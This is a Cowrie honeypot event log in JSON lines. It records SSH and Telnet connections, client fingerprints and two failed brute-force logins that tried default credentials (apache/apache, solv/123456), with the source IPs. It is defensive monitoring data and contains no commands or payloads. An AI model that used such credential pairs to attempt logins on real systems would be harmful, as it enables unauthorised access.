{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.086254Z","src_ip":"159.203.92.129","session":"bc20d8aacf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.062288761138916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.092551Z","src_ip":"198.50.122.223","session":"7eea79e5c8d0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.103608Z","src_ip":"159.203.92.129","session":"bc20d8aacf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38630,"dst_ip":"10.17.0.5","dst_port":23,"session":"40edb1556c79","protocol":"telnet","message":"New connection: 198.50.122.223:38630 (10.17.0.5:23) [session: 40edb1556c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.445039Z"}
{"eventid":"cowrie.session.closed","duration":31.1054265499115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.455953Z","src_ip":"198.50.122.223","session":"54a349b4b50b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:46.113145Z","src_ip":"159.203.92.129","session":"bc20d8aacf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19971227645874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:46.344282Z","src_ip":"198.50.122.223","session":"bed3353173ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.639911651611328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:46.440519Z","src_ip":"198.50.122.223","session":"d703552bbb7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44810,"dst_ip":"10.17.0.5","dst_port":23,"session":"e139c899dc81","protocol":"telnet","message":"New connection: 198.50.122.223:44810 (10.17.0.5:23) [session: e139c899dc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:46.649037Z"}
{"eventid":"cowrie.session.closed","duration":31.073059558868408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:46.844717Z","src_ip":"198.50.122.223","session":"48e8c51a8784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46230,"dst_ip":"10.17.0.5","dst_port":23,"session":"abad3a4dd277","protocol":"telnet","message":"New connection: 198.50.122.223:46230 (10.17.0.5:23) [session: abad3a4dd277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:46.856544Z"}
{"eventid":"cowrie.session.closed","duration":31.084310293197632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:47.385274Z","src_ip":"198.50.122.223","session":"90eff0bd15e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51534,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff732621f58","protocol":"telnet","message":"New connection: 198.50.122.223:51534 (10.17.0.5:23) [session: 3ff732621f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:47.938256Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51800,"dst_ip":"10.17.0.5","dst_port":23,"session":"39c94258b13f","protocol":"telnet","message":"New connection: 198.50.122.223:51800 (10.17.0.5:23) [session: 39c94258b13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:47.977869Z"}
{"eventid":"cowrie.session.closed","duration":31.22252106666565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:48.287412Z","src_ip":"198.50.122.223","session":"36613d3ae9c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206366062164307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:48.349460Z","src_ip":"198.50.122.223","session":"5d8439b35bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48055672645569,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:48.693208Z","src_ip":"198.50.122.223","session":"f9f60d8b85b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"571156434ca7","protocol":"telnet","message":"New connection: 198.50.122.223:56016 (10.17.0.5:23) [session: 571156434ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:48.829063Z"}
{"eventid":"cowrie.session.closed","duration":31.225666284561157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:48.916441Z","src_ip":"198.50.122.223","session":"ca31607d8f3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354039907455444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:49.323312Z","src_ip":"198.50.122.223","session":"abae64b9202b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.630011320114136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:49.645525Z","src_ip":"198.50.122.223","session":"73685a35ad61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35644,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1964bf8560","protocol":"telnet","message":"New connection: 198.50.122.223:35644 (10.17.0.5:23) [session: aa1964bf8560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:50.534444Z"}
{"eventid":"cowrie.session.closed","duration":31.26775026321411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:51.439734Z","src_ip":"198.50.122.223","session":"07ec26ed4877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41210,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a48d2cbb4df","protocol":"telnet","message":"New connection: 198.50.122.223:41210 (10.17.0.5:23) [session: 6a48d2cbb4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:51.677621Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0725491d08d9","protocol":"telnet","message":"New connection: 198.50.122.223:37178 (10.17.0.5:23) [session: 0725491d08d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:51.763824Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37234,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3fe7033a142","protocol":"telnet","message":"New connection: 198.50.122.223:37234 (10.17.0.5:23) [session: c3fe7033a142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:51.771240Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42254,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd3f30710f9","protocol":"telnet","message":"New connection: 198.50.122.223:42254 (10.17.0.5:23) [session: efd3f30710f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:51.815066Z"}
{"eventid":"cowrie.session.closed","duration":31.114134788513184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.184431Z","src_ip":"198.50.122.223","session":"ede633204ece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758551597595215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.222991Z","src_ip":"198.50.122.223","session":"13e300b7e265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508516788482666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.269432Z","src_ip":"198.50.122.223","session":"9180e86bbf8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44212,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc831be06840","protocol":"telnet","message":"New connection: 198.50.122.223:44212 (10.17.0.5:23) [session: bc831be06840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.287558Z"}
{"eventid":"cowrie.session.closed","duration":30.972286701202393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.309233Z","src_ip":"198.50.122.223","session":"403ce8f99435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11043357849121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.344220Z","src_ip":"198.50.122.223","session":"f094a5034189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315649032592773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:52.901303Z","src_ip":"198.50.122.223","session":"627c7656e225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987183809280396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:53.059560Z","src_ip":"198.50.122.223","session":"c62ccf7f4ef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccfc34837fcd","protocol":"telnet","message":"New connection: 198.50.122.223:52652 (10.17.0.5:23) [session: ccfc34837fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:53.928041Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d332ab6029","protocol":"telnet","message":"New connection: 198.50.122.223:54900 (10.17.0.5:23) [session: 93d332ab6029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:54.451451Z"}
{"eventid":"cowrie.session.closed","duration":30.92447304725647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:54.681317Z","src_ip":"198.50.122.223","session":"413ecd7b8383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":32896,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb000faaa47e","protocol":"ssh","message":"New connection: 2.57.122.238:32896 (10.17.0.5:22) [session: bb000faaa47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:55.055433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:55.060442Z","src_ip":"2.57.122.238","session":"bb000faaa47e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:55.161364Z","src_ip":"2.57.122.238","session":"bb000faaa47e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:55.467848Z","src_ip":"2.57.122.238","session":"bb000faaa47e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73648476600647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:56.283913Z","src_ip":"198.50.122.223","session":"52ce37bddf5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12790536880493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:56.307497Z","src_ip":"198.50.122.223","session":"4f61aca8b958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473158836364746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:56.313256Z","src_ip":"198.50.122.223","session":"449a32fdf157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532822608947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:56.437933Z","src_ip":"198.50.122.223","session":"0f9fb2437eb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:56.571067Z","src_ip":"2.57.122.238","session":"bb000faaa47e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60704,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3faeea6e4be","protocol":"telnet","message":"New connection: 198.50.122.223:60704 (10.17.0.5:23) [session: a3faeea6e4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:56.643375Z"}
{"eventid":"cowrie.session.closed","duration":30.757917881011963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:57.306370Z","src_ip":"198.50.122.223","session":"5170be5b471a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04946994781494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:57.344380Z","src_ip":"198.50.122.223","session":"ef418fa837f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb56440a0ab","protocol":"telnet","message":"New connection: 198.50.122.223:40758 (10.17.0.5:23) [session: 0eb56440a0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:57.394683Z"}
{"eventid":"cowrie.session.closed","duration":31.62596082687378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:57.665591Z","src_ip":"198.50.122.223","session":"76629bc59e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289111375808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:57.842888Z","src_ip":"198.50.122.223","session":"f62ee904f592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44104,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f4007dede8d","protocol":"telnet","message":"New connection: 198.50.122.223:44104 (10.17.0.5:23) [session: 6f4007dede8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:57.929079Z"}
{"eventid":"cowrie.session.closed","duration":31.27928328514099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:58.801816Z","src_ip":"198.50.122.223","session":"0d68a26549b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54684,"dst_ip":"10.17.0.5","dst_port":23,"session":"503c8e095182","protocol":"telnet","message":"New connection: 198.50.122.223:54684 (10.17.0.5:23) [session: 503c8e095182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:00.269098Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55084,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfca81e5f9f1","protocol":"telnet","message":"New connection: 198.50.122.223:55084 (10.17.0.5:23) [session: bfca81e5f9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:00.359663Z"}
{"eventid":"cowrie.session.closed","duration":30.542447566986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:00.472973Z","src_ip":"198.50.122.223","session":"cab0247a048d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55664,"dst_ip":"10.17.0.5","dst_port":23,"session":"685bc1e23802","protocol":"telnet","message":"New connection: 198.50.122.223:55664 (10.17.0.5:23) [session: 685bc1e23802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:00.510771Z"}
{"eventid":"cowrie.session.closed","duration":30.716026306152344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:01.648417Z","src_ip":"198.50.122.223","session":"73ec61e34476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34368,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c8708c610d","protocol":"telnet","message":"New connection: 198.50.122.223:34368 (10.17.0.5:23) [session: 01c8708c610d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:01.832513Z"}
{"eventid":"cowrie.session.closed","duration":31.098731994628906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:02.220733Z","src_ip":"198.50.122.223","session":"07ca45d06c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808308839797974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:02.533830Z","src_ip":"198.50.122.223","session":"2a9854b1051b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58870244026184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:02.547332Z","src_ip":"198.50.122.223","session":"ead88b0a3e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40328,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da99ea30b67","protocol":"telnet","message":"New connection: 198.50.122.223:40328 (10.17.0.5:23) [session: 8da99ea30b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:03.146867Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":40282,"dst_ip":"159.203.135.109","dst_port":22,"session":"13fd784df13d","protocol":"ssh","message":"New connection: 69.6.221.248:40282 (159.203.135.109:22) [session: 13fd784df13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:03.645032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:03.652044Z","src_ip":"69.6.221.248","session":"13fd784df13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:28:03.766973Z","src_ip":"69.6.221.248","session":"13fd784df13d","protocol":"ssh"}
